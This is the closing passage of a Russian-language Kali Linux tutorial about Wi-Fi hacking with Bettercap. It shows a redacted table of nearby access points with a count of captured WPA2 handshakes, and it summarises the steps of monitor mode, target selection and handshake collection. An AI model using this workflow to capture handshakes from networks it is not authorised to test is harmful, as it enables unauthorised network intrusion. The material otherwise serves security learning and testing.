| -72 dBm | ██:██:██:██:██:██ | ████████████████████████████  | WPA2 (CCMP, PSK) |     | 6  | 1       | 4.9 kB |        | 23:04:36 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:04:31 |
| -81 dBm | ██:██:██:██:██:██ | ████████████████              | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:04:36 |
| -82 dBm | ██:██:██:██:██:██ | ████████████████████████      | WPA2 (CCMP, PSK) |     | 7  |         |        |        | 23:04:37 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 1  |         |        |        | 23:04:31 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:04:32 |
| -86 dBm | ██:██:██:██:██:██ | ██████████████                | WPA2 (CCMP, PSK) |     | 6  |         | 670 B  | 384 B  | 23:04:32 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:04:31 |
| -87 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  |         | 759 B  |        | 23:04:32 |
| -87 dBm | ██:██:██:██:██:██ | ████████████████████          | WPA2 (CCMP, PSK) |     | 6  |         | 228 B  | 1.2 kB | 23:04:34 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████   | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:04:34 |
| -88 dBm | ██:██:██:██:██:██ | ██████████████████            | WPA2 (CCMP, PSK) |     | 8  |         |        |        | 23:04:34 |
| -91 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (TKIP, PSK) |     | 11 |         | 1.7 kB |        | 23:04:34 |
| -92 dBm | ██:██:██:██:██:██ | ██                            | WPA2 (CCMP, PSK) | 2.0 | 11 |         |        |        | 23:04:38 |
| -92 dBm | ██:██:██:██:██:██ | ████████                      | WPA2 (TKIP, PSK) |     | 11 |         |        |        | 23:04:38 |
| -94 dBm | ██:██:██:██:██:██ | ██████████████████████████    | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:04:39 |
| -95 dBm | ██:██:██:██:██:██ | █████████████████             | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:04:39 |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+

wlan1mon (ch. 12) / ↑ 45 kB / ↓ 8.9 MB / 38377 pkts / 3 handshakes
        
***

Таким образом, показано, как Wi-Fi адаптер может быть переведен в режим мониторинга. Также сделаны первые шаги во взломе точек доступа Wi-Fi при помощи утилиты Bettercap, а именно: поиск и назначение целей, сбор рукопожатий.

Другие публикации по теме Kali Linux

Источники

Специально для сайта ITWORLD.UZ. Новость взята с сайта Библиотека программиста